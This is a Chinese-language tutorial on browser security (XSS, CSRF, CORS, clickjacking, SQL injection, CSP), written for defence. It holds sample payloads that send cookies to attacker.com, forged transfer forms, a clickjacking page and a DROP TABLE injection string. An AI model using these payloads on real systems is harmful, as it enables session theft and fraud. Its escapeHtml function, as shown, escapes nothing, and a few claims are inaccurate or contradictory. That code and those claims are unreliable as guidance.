你以为你只是在网页上点了几下?浏览器在背后打了不知道多少场"暗战"。今天我们就来扒一扒,浏览器到底是怎么保护你的,以及------为什么有些漏洞看起来蠢蠢的,却真实存在了几十年。
一、为什么浏览器需要安全机制?
互联网最初是个"乌托邦"
早期的互联网有点像大学宿舍------门不锁,柜子不关,大家互相信任。你宿舍的电脑能访问谁的电脑,谁的电脑也能访问你的。
那时候的浏览器也是这个思路:服务器说啥就是啥,让执行就执行。这种设计在互联网只有学术用途的年代没问题,大家都是好人嘛。
直到有一天,互联网开始承载金钱、隐私、社会关系------坏人来了。
浏览器:我不是针对谁,我是说在座的各位......
坏人能做的事太多了:
-
你登录银行网站,攻击者能不能偷走你的密码?
-
你在网上发帖,攻击者能不能在你的帖子后面偷偷塞一段代码,让所有看到帖子的人中招?
-
你开着银行网页,又开了个奇怪的网站,那个奇怪的网站能不能操控你的银行页面?
这些问题靠用户自己根本防不住------你会让普通用户去懂 TCP/IP、懂加密协议吗?
所以,浏览器站出来当了保镖。
浏览器给自己立了三个人生信条:
| 信条 | 浏览器怎么想 | 类比 |
|---|---|---|
| 你的东西别人不能乱拿 | 同源策略 | 你的保险箱,只有你有钥匙 |
| 验明正身才能进门 | HTTPS + 证书 | 银行柜台,先看身份证 |
| 想搞事情?没门 | CORS / CSP / Cookie 安全 | 安检通道,管制刀具不许带 |
下面,我们一个个来"采访"这些攻击手法。
二、XSS:跨站脚本攻击------攻击者在你的网页里偷装窃听器
2.1 什么是 XSS?
XSS(Cross-Site Scripting)一句话:攻击者把恶意代码偷偷塞进你的网页,你的浏览器把它当正常代码执行了。
类比:你家有个留言板,正常人写的是"今天天气真好"。但有人偷偷写了一行字"每次有人看这个留言板,就自动把家里的钥匙拍照发给我"。你不知道这是命令,你家的大门就被人偷偷配了钥匙------你还在那儿感慨今天天气真好呢。
2.2 为什么会有这个漏洞?
网页接受用户输入,正常应该当"文字"用,但网站没处理,浏览器就把输入当"代码"跑了。
想象一个场景:搜索框输入"耳机",显示"搜索结果:耳机"------这是对的。但如果输入的是代码呢?
<!-- 网站的搜索页面 -->
<p>搜索结果:<?= $_GET['q'] ?></p>
<!-- 你输入"耳机" → 显示:搜索结果:耳机 ✅ -->
<!-- 攻击者输入"<script>alert('被黑了')</script>" → 浏览器把它当代码执行了! 🚨 -->
漏洞就一句话:没对用户输入做处理,直接当网页内容显示了。
2.3 XSS 的三种类型
先把三种类型说清楚,后面逐个拆解:
| 类型 | 攻击方式 | 谁能中招 | 危险程度 |
|---|---|---|---|
| 存储型 | 攻击者的代码存在你的数据库里 | 所有访问这个页面的人 | ⭐⭐⭐⭐⭐ 最危险 |
| 反射型 | 攻击者的代码藏在链接里,骗你点 | 只有点了这个链接的人 | ⭐⭐⭐⭐ |
| DOM 型 | 前端代码自己把用户输入当 HTML 用了 | 只有访问这个页面的人 | ⭐⭐⭐ |
存储型 XSS------攻击者在你数据库里埋了雷
这是最危险的一种。 攻击者的代码会被永久存在你的服务器上,只要有人访问就中招。
场景:攻击者在一个论坛发帖,帖子内容里藏了恶意代码:
// 攻击者发的帖子内容:
"<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"
服务器没过滤,直接存进数据库。
所有打开这个帖子的人都会中招:当页面加载时,浏览器执行了这段 JS,你的 Cookie 自动飞到了攻击者服务器。
后果:攻击者拿到你的 Cookie,拿去登录你的账号------你的个人信息、发帖权限、账户余额,全被攻击者拿走了。
怎么防?(两道防线)
// 后端防线:对所有用户输入转义后再存入数据库
// < 变成 < > 变成 > " 变成 "
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// 前端防线:Vue/React 默认写法是安全的,别用危险操作
// ✅ 安全
<template>
<div>{{ userContent }}</div> <!-- Vue 自动转义 -->
</template>
// ❌ 危险!除非你确定内容绝对安全
<div v-html="userContent"></div>
反射型 XSS------骗你点一个链接
这种不持久,代码跟着链接走。
攻击过程:
攻击者发给你一条消息,里面有个链接:
https://yoursite.com/search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
链接前半截是正规网站,后面是段 JS 代码。
你一点击:
-
服务器收到 URL 参数
?q=<script>...</script> -
服务器没转义,直接拼进页面返回给你
-
浏览器一解析------代码执行了,Cookie 被偷
怎么防?
// 后端:URL 参数必须转义
// ❌ 危险
res.send(`<p>搜索结果:${req.query.q}</p>`);
// ✅ 安全
res.send(`<p>搜索结果:${escapeHtml(req.query.q)}</p>`);
// 前端:URL 参数不要直接 innerHTML 渲染
// ❌ 危险
document.getElementById('result').innerHTML = location.search;
// ✅ 安全
document.getElementById('result').textContent = location.search;
DOM 型 XSS------前端自己写出来的坑
这种最特殊:攻击根本不需要经过后端,是前端代码自己把用户输入当 HTML 用了。
// 前端代码写成这样:
document.getElementById('result').innerHTML = `搜索: ${location.search}`;
// 攻击者发给你一个链接:
// https://yoursite.com?q=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>
你一点:
1. 页面把 URL 参数塞进 innerHTML
2. 浏览器解析 HTML,<img> 加载失败
3. onerror 触发,Cookie 被偷
为什么叫 DOM 型? 因为攻击发生在浏览器解析 DOM 的过程中,服务器完全不知情。
怎么防?
// 核心原则:永远不要把用户输入塞进 innerHTML
// ❌ 危险
element.innerHTML = userInput;
// ✅ 安全:用 textContent(显示纯文本)
element.textContent = userInput;
// ✅ 安全:用 createTextNode(创建文本节点)
element.appendChild(document.createTextNode(userInput));
// ✅ 安全:用框架的默认写法(Vue/React 自动处理)
// <div>{userInput}</div> 或 {{ userInput }}
2.4 XSS 三条铁律
记住这三条,XSS 防护就不会踩大坑:
① 用户输入永远不要直接 innerHTML
// ❌ 危险
element.innerHTML = userInput;
// ✅ 安全
element.textContent = userInput;
② 框架的默认写法是安全的,危险的 API 少用
// Vue:{{ userInput }} ✅ 安全
// React:{userInput} ✅ 安全
// ❌ 这些是危险的,别用
<div v-html="userInput"></div>
<div dangerouslySetInnerHTML={{ __html: userInput }} />
③ 后端才是主防线,前端转义防不住技术手段
攻击者可以直接用 curl 绕过前端:
# 攻击者不发请求给你,直接发给服务器
curl -X POST https://yoursite.com/api/comment \
-d 'content=<script>stealCookie()</script>'
所以后端必须对所有输入做转义,前端后端都要防
三、CSRF:跨站请求伪造------你的身份被冒用了
3.1 跟 XSS 的区别
| 攻击类型 | 坏人做了什么 | 坏人拿到了什么 | 类比 |
|---|---|---|---|
| XSS | 把恶意代码注入到你的网站里跑 | 偷走你的 Cookie / token | 小偷潜入你家,把值钱的东西搬走 |
| CSRF | 借你的浏览器偷偷发请求 | 什么都没偷,但替你把钱转了 | 偷了你的手机,用你的手机刷了支付宝 |
CSRF(Cross-Site Request Forgery)的核心一句话:攻击者不偷你的身份,而是利用你已经登录的状态,让你的浏览器替他干活。
3.2 现代项目是怎么存身份的?
身份存法不同,CSRF 攻击的可行性完全不一样。
方式一:Cookie 认证(传统 SSR 项目,后端渲染页面)
后端设置 Cookie,你的身份就存在 Cookie 里:
// 后端设置
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
-
浏览器自动携带这个 Cookie 发请求
-
HttpOnly:JS 读不到,XSS 偷不走 -
SameSite=Lax:跨站 POST 请求不带这个 Cookie
方式二:Token 认证(前后端分离,前端存 localStorage)
后端返回 token,前端自己存、自己加 Header:
// 登录后,后端返回 token
{ token: "eyJhbGciOiJIUzI1NiJ9..." }
// 前端存 localStorage
localStorage.setItem('token', token);
// 每次请求自己带上
headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
- 浏览器不会自动携带,发请求的是你的代码,所以攻击者很难得逞
| 存储方式 | 浏览器自动带吗 | XSS 能偷吗 | CSRF 攻击难度 |
|---|---|---|---|
| HttpOnly Cookie | ✅ 自动带 | ❌ 偷不走 | ⚠️ 需要防 |
| localStorage Token | ❌ 不会自动带 | ✅ 能偷走 | ✅ 基本攻击不了 |
3.3 CSRF 攻击是怎么发生的?
CSRF 攻击只对 Cookie 认证有效。 因为只有 Cookie 才会被浏览器自动携带。
攻击场景(Cookie 认证的 SSR 项目):
<!-- 攻击者的页面 -->
<body>
<h1>恭喜你抽中一等奖!</h1>
<!-- img 标签会自动发 GET 请求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">
</body>
当你打开这个页面:
-
浏览器请求
bank.com/transfer?to=hacker&amount=10000 -
浏览器自动带上
bank.com的 Cookie(因为你登录过) -
银行服务器看到 Cookie 正确,以为是你的操作,执行了转账
你的代码没有参与这个过程,是攻击者的页面让你的浏览器发的请求。
3.4 Token 认证的项目,需要防 CSRF 吗?
不需要。 原因:
// 你的项目里,发请求的是你的代码,当然带 token
fetch('/transfer', {
method: 'POST',
headers: { Authorization: `Bearer ${token}` }, // 这行是代码加的
body: JSON.stringify({ to: 'hacker', amount: 10000 })
});
攻击者想让你发请求,他只能:
<img src="https://yoursite.com/transfer?to=hacker&amount=10000">
但这个请求:
-
没有带 token(token 是代码加的,
<img>标签不会) -
服务器不认识这个请求 → 攻击失败
所以如果你用 Token 认证(localStorage + Authorization Header),CSRF 攻击基本上不可能成功,不需要额外做 CSRF 防护。
3.5 怎么防?(Cookie 认证的项目需要)
前提:CSRF 只对 Cookie 认证有效,因为浏览器会自动携带 Cookie 发请求。
攻击者发请求就两种方式:
方式一:用 img / script 等标签(GET 请求)
<!-- 你打开攻击者页面,浏览器自动请求这个地址 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">
这个请求发了,但没有 Cookie(SameSite 保护),服务器返回"未登录" → 攻击失败。
方式二:用表单自动提交(POST 请求)
<!-- 攻击者页面里有个表单,JS 自动提交 -->
<form action="https://bank.com/transfer" method="POST" id="hack">
<input name="to" value="hacker">
<input name="amount" value="10000">
</form>
<script>document.getElementById('hack').submit();</script>
浏览器发 POST 请求,并且自动带上 Cookie → 服务器以为是你的操作 → 攻击成功。
方案一:SameSite Cookie(最推荐,浏览器内置)
// 后端设置 Cookie 时
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
加了 SameSite=Lax:
-
跨站 GET 请求(点击链接跳转)会带 Cookie → 正常体验不受影响
-
跨站 POST 请求(表单提交、图片加载)不带 Cookie → 攻击者发请求,浏览器不带 Cookie → 服务器不认识 → 攻击失败
这是免费午餐,只要后端配了,前端不用写任何代码。
SameSite 三种模式:
| 模式 | 说明 |
|---|---|
Strict |
最安全,但从外部链接访问你的网站会被登出 |
Lax |
宽松模式,导航请求带 Cookie,POST 不带,推荐 |
None |
不限制,需要配合 Secure(HTTPS) |
方案二:CSRF Token(Cookie 认证 + 不用 SameSite 时用)
这个方案的前提是:后端渲染 HTML 页面(比如 PHP、JSP、模板引擎),页面里的表单由后端生成。
后端在渲染表单时,顺手塞一个随机 Token:
<!-- PHP 渲染表单时 -->
<form action="/transfer" method="POST">
<input name="to" value="朋友">
<input name="amount" value="100">
<!-- 后端生成一个随机字符串,塞进表单 -->
<input type="hidden" name="csrf_token" value="<?php echo generateToken(); ?>">
<button type="submit">转账</button>
</form>
用户正常提交表单时,这个 Token 会一起发到服务器,服务器验证通过才执行。
攻击者发请求时:
<!-- 攻击者只能发请求,读不到你页面里的 Token -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="hacker">
<input name="amount" value="10000">
<!-- 攻击者不知道 Token 是什么,猜不出来 -->
</form>
攻击者不知道 Token 的值,伪造不了请求 → 攻击失败。
为什么叫"随机":Token 是服务器生成的随机字符串(比如 UUID、加密哈希),每次表单都不一样,攻击者根本猜不到。
项目是前后端分离,HTML 是 JS 生成的,不是后端渲染的。后端渲染不了你的页面,所以也没法往你的表单里塞 Token。
| 防护方式 | 防的是什么 | 适用场景 |
|---|---|---|
| SameSite Cookie | 防攻击者发请求成功 | Cookie 认证的项目 |
| CSRF Token | 防攻击者伪造请求 | 后端渲染表单的 Cookie 认证项目 |
3.6 总结:身份存法决定要不要防、怎么防
| 你的项目用 | 需要防 CSRF 吗 | 怎么防 |
|---|---|---|
| HttpOnly Cookie + SameSite=Lax | ❌ 不用管 | 浏览器内置 |
| HttpOnly Cookie 无 SameSite | ⚠️ 需要 | SameSite / CSRF Token |
| localStorage Token + Authorization | ✅ 不需要 | 攻击者根本发不了有效请求 |
记住:
-
CSRF 只对 Cookie 认证有效(浏览器自动带 Cookie)
-
Token 认证的项目,攻击者发的请求没有 token,服务器不认识,不需要防
-
二次确认防的是用户点错,不是防 CSRF
-
SameSite Cookie 是免费午餐,能用就用
3.7 重要结论:CSRF 已经基本死了,XSS 才是重点
这是面试和实际工作中最重要的认知:
| 攻击 | 老项目(后端渲染) | 新项目(前后端分离) |
|---|---|---|
| XSS | ❌ 高危 | ⚠️ 有风险(取决于项目防护) |
| CSRF | ❌ 高危 | ✅ 基本没了(SameSite + Token) |
为什么 CSRF 在现代项目里基本不存在了?
-
Cookie 认证有 SameSite 保护,攻击者发请求浏览器不带 Cookie
-
Token 认证根本不怕 CSRF,攻击者连请求都发不出有效请求
关于 localStorage 存 token:这是主流做法,Vue Admin、Ant Design Pro 等都在用。如果站点没有 XSS 漏洞,这是安全的。HttpOnly Cookie 是更高安全要求的替代方案,但需要后端配合。
一句话总结:防 CSRF 靠浏览器内置的 SameSite;防 XSS 才是前端安全的核心工作。
四、XSS 和 CSRF 区别总结
| 对比项 | XSS | CSRF |
|---|---|---|
| 本质 | 把恶意代码注入到你的网站里跑 | 借你的浏览器发请求 |
| 攻击目标 | 偷你的 Cookie / token | 替你执行操作(转账、发帖) |
| 攻击方式 | 攻击者的代码在你的域名下跑 | 攻击者的页面让你的浏览器发请求 |
| 能不能偷 token | 能(JS 能读到) | 不能(浏览器不带 token) |
| 防御重点 | 防止代码注入 | Cookie 认证项目用 SameSite;Token 认证项目天然防 |
| 二次确认的作用 | ❌ 防不了 | 防用户自己点错,跟 CSRF 无关 |
五、CORS:跨域访问------小区的门禁系统
5.1 先搞清楚什么是"同源"
浏览器规定:协议 + 域名 + 端口,三样都一样,才算"同源"。任何一个不一样,就是"跨域"。
你的页面: https://yoursite.com
同源: https://yoursite.com/page ✅ 三样都一样
子域名不同: https://api.yoursite.com ❌ 子域名不同
协议不同: http://yoursite.com ❌ https vs http
端口不同: https://yoursite.com:8080 ❌ 端口不同
5.2 为什么要有限制?
想象一下:你登录了银行 bank.com,又开了个恶意网站 attacker.com。
如果没有同源策略,attacker.com 的 JS 可以直接发请求到 bank.com,而且浏览器会自动带上 bank.com 的 Cookie------攻击者就能替你转账。
同源策略就是浏览器的大门禁:别人的网站发来的请求,读不到你银行返回的数据。
5.3 那我想从自己的前端调别人家的接口怎么办?
CORS(Cross-Origin Resource Sharing)就是这个限制的"例外通道"。
原理很简单:后端在响应头里声明允许哪些前端来源访问。
// 后端设置:只允许 https://yoursite.com 访问
res.header('Access-Control-Allow-Origin', 'https://yoursite.com');
浏览器看到这个头,才放行跨域请求。没有这个头,浏览器直接拒绝。
5.4 前端配置 CORS的正确姿势
生产环境不要写 Access-Control-Allow-Origin: *
// ❌ 这样写等于没设门禁,任何网站都能访问
res.header('Access-Control-Allow-Origin', '*');
// ✅ 正确写法:只允许自己的前端域名
res.header('Access-Control-Allow-Origin', 'https://yoursite.com');
如果跨域请求需要带 Cookie:
// 前端配置 withCredentials
uni.request({
url: 'https://api.other.com/users',
withCredentials: true // 带上 Cookie
});
同时后端也要设置:
res.header('Access-Control-Allow-Origin', 'https://yoursite.com'); // 不能是 *
res.header('Access-Control-Allow-Credentials', 'true');
调试技巧:看到 CORS 报错,大概率是后端没配头,先找后端确认域名是否写对了。
六、点击劫持------你以为在点 A,实际在点 B
6.1 什么是点击劫持?
攻击者把你的网页塞进一个透明的 iframe,盖在一个诱人的按钮上面。你以为自己在点"免费领红包",实际上点的是你银行页面上的"确认转账"。
类比:就像有人在你家门口铺了一层透明玻璃,你以为踩在地上,其实踩的是玻璃------你的脚步传到了别人手里。
6.2 攻击示例
就几行 CSS + HTML:
<style>
/* 银行页面被藏在底下,完全透明 */
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
}
/* 诱人的按钮盖在上面 */
button {
position: relative;
z-index: 1;
}
</style>
<!-- 你看到的是这个 -->
<button>👆 点我免费领 iPhone!</button>
<!-- 底下藏的是这个 -->
<iframe src="https://bank.com/transfer?to=hacker&amount=10000"></iframe>
你看到"免费领 iPhone",点下去------触发的是银行转账。
6.3 怎么防?
后端:设置 X-Frame-Options(最有效)
// 告诉浏览器:这个页面不允许被嵌入 iframe
res.header('X-Frame-Options', 'SAMEORIGIN');
加了之后,浏览器直接拒绝被嵌入 iframe。
X-Frame-Options 有三种值:
| 值 | 说明 |
|---|---|
DENY |
完全禁止被嵌入 |
SAMEORIGIN |
只允许同源页面嵌入 |
ALLOW-FROM uri |
只允许指定页面嵌入(已废弃) |
前端:兜底检测
// 如果发现页面被嵌入了 iframe,跳转到原页面
if (window !== window.top) {
window.top.location = window.location;
}
七、SQL 注入------不是前端问题,但你要了解
7.1 是什么?
后端拼接 SQL 时,把用户输入直接当字符串拼进去,攻击者输入里藏 SQL 语句,整条 SQL 的意思就变了。
-- 后端写的 SQL(危险写法)
SELECT * FROM users WHERE name = '${name}'
-- 你正常输入 'Alice' → 正常查询 ✅
SELECT * FROM users WHERE name = 'Alice'
-- 攻击者输入 '; DROP TABLE users; -- → 数据全没了 🚨
SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
7.2 怎么防?
前端:不要在前端拼 SQL,这主要是后端的事。
后端:用参数化查询或 ORM。
// ❌ 危险:字符串拼接
db.query(`SELECT * FROM users WHERE name = '${name}'`);
// ✅ 安全:参数化查询
db.query('SELECT * FROM users WHERE name = ?', [name]);
// ✅ 更安全:用 ORM(如 Prisma、Sequelize)
const user = await prisma.user.findUnique({ where: { name } });
ORM 帮你做了参数化查询,比手写 SQL 安全一百倍。
八、CSP 内容安全策略------给网站立规矩
8.1 是什么?
CSP(Content Security Policy)是一种 HTTP 响应头,让网站声明"我只信任这些来源,其他的一概不认"。
类比:学校规定"只有校门口的小卖部可以卖零食",那就算有人偷偷带了来历不明的零食进校,保安一看来源不对,直接没收------不管那零食本身有没有毒。
即使 XSS 攻击成功了,攻击者注入的脚本来源不在白名单里,浏览器也不会执行。
8.2 配置示例
// 后端设置 CSP 头
res.header('Content-Security-Policy', [
"default-src 'self'", // 默认只信任同源
"script-src 'self' 'nonce-abc123'", // 脚本:同源 + 带 nonce 的
"img-src 'self' https://cdn.yoursite.com", // 图片:同源 + CDN
"connect-src 'self' https://api.yoursite.com" // 接口:只允许自己的 API
].join('; '));
8.3 nonce 是什么?
每次页面加载,服务器生成一个随机字符串,内联脚本带上这个标签才能执行:
<!-- 有 nonce → 可以执行 ✅ -->
<script nonce="abc123">console.log('hello')</script>
<!-- 没 nonce → 浏览器直接拦截 🚨 -->
<script>alert('hack')</script>
攻击者注入的脚本没有 nonce,所以即使注入成功,浏览器也不让它跑------XSS 被废了一半。
8.4 建议:先用"只记录不拦截"模式
CSP 配置复杂,建议先观察一段时间:
// 只记录违规,不拦截
res.header('Content-Security-Policy-Report-Only', "default-src 'self'; report-uri /csp-report");
8.5 Vue / React 项目怎么用 CSP?
现代前端构建工具(Vite、Webpack)配合服务器配置,可以自动生成 nonce:
// Vite 配置(nuxt.config.js 示例)
export default {
routeRules: {
'/**': {
headers: {
'Content-Security-Policy': "script-src 'self' 'nonce'"
}
}
}
}
服务器会自动给每个页面的内联脚本加上 nonce,攻击者注入的脚本因为没有 nonce,被 CSP 拦截。
九、日常开发中,那些你可能没注意到的坑
9.1 localStorage 存 token?------这是主流做法,但要清楚风险
先说事实:市面上 90% 的后台管理系统(Vue Admin、Ant Design Pro 等)都用 localStorage 存 token,这是主流方案,不是"胆子大",是被广泛验证过的工程实践。
但要清楚风险在哪:
// localStorage 的问题:XSS 可以直接拿走
localStorage.getItem('token'); // 攻击者的 XSS 代码可以读到这里
| 存储方式 | XSS 能偷吗 | CSRF 怕不怕 | 工程复杂度 |
|---|---|---|---|
| localStorage + Bearer Token | ✅ 能偷走 | ✅ 不怕(发不出有效请求) | 低,主流方案 |
| HttpOnly Cookie | ❌ 偷不走 | ✅ 有 SameSite 保护 | 需要后端配合 |
localStorage 能用的原因:
-
如果你的站点没有 XSS 漏洞,localStorage 是安全的
-
React/Vue 默认转义输出,XSS 漏洞没那么容易出现
-
大部分后台管理系统攻击面有限,被 XSS 攻击的概率较低
localStorage 的替代方案:
| 方案 | 适用场景 |
|---|---|
| localStorage + Bearer Token | 一般后台管理系统(主流) |
| HttpOnly Cookie + SameSite | 高安全性要求的项目(金融、支付) |
总结:localStorage 存 token 是主流做法,不是错的。但要记住:如果哪天你的站出现了 XSS,token 就会被偷走。所以核心还是防 XSS,而不是换个存储方式。
9.2 前端绝对不存密码
// ❌ 禁止!密码存在内存里都危险
store.commit('saveUser', { password: '888888' });
// ✅ 正确:密码输入后立即发后端,前端不再持有 或者加密存储,不能明文存储
const response = await api.login({ username, password });
// 拿到 token 后,password 应该立即被清空
password = null;
9.3 API 强制走 HTTPS
// ❌ 公共 WiFi 下,HTTP 请求可以被中间人劫持篡改
const BASE_URL = 'http://api.yoursite.com';
// ✅ 正确
const BASE_URL = 'https://api.yoursite.com';
9.4 GET 参数不传敏感信息
// ❌ token、密码出现在地址栏、历史记录、服务器日志里
request.get('/user?token=abc123');
// ✅ 正确:放请求头里
request.post('/user', {}, {
headers: { Authorization: `Bearer ${token}` }
});
9.5 引入第三方 JS = 把钥匙交给对方
<!-- ❌ 引入不熟悉的 CDN 上的 JS = 把家门钥匙交给陌生人 -->
<script src="https://cdn.someone.com/lib.js"></script>
<!-- ⚠️ 这个库作者被黑了,你的网站也跟着沦陷 -->
<!-- ✅ 只引入可信来源(官方 CDN、自己的 CDN) -->
<!-- ✅ 有条件的团队自己做 npm 镜像,定期审查 -->
9.6 让后端一键配置安全头
// Express.js 一行代码,帮你配好 X-Frame-Options、CSP 等十几个安全头
import helmet from 'helmet';
app.use(helmet());
9.7 定期查依赖漏洞
# npm 自带,检查已知漏洞
npm audit
# 更严格,可集成到 CI
npx snyk test
你的项目可能没问题,但依赖的依赖可能有漏洞(Event-Stream 事件了解一下:攻击者往依赖里偷偷加了偷币代码)。
9.8 小程序比 Web 安全,但别飘
微信小程序天然的安全优势:
| 限制 | 好处 |
|---|---|
不支持 eval / new Function |
动态代码执行不了,XSS 很难 |
| 不能操作 DOM | innerHTML 不存在,DOM 型 XSS 不存在 |
| 强制 HTTPS | 线上版无法降级,中间人攻击走不通 |
但 web-view 里嵌入的网页还是要受浏览器安全机制约束,敏感操作也要做二次确认。
十、安全 checklist------对照检查,少踩坑
用户输入 → 必须转义后渲染,不放心就用 DOMPurify
富文本 → 白名单过滤,不让用户输入裸 HTML
v-html / dangerouslySetInnerHTML → 能不用就不用
写操作(POST/PUT/DELETE) → 必须有 CSRF 防护
Cookie → HttpOnly + SameSite
敏感数据 → 坚决不存 localStorage
密码 → 用户输入后立刻发后端,前端不再持有
API → 全部走 HTTPS
URL 参数 → 不传 token、密码等敏感信息
后端 → 推动配 X-Frame-Options、CSP、helmet
第三方 JS → 只引入可信来源
发版前 → npm audit 跑一遍
安全不是某个岗位的事。前端把输入转义做好,后端把鉴权做好,运维把安全头配好,每个人守好自己的那块,攻击者就无从下手。
不埋坑,不挖坑,发现坑赶紧补------这就是我们前端工程师的安全观。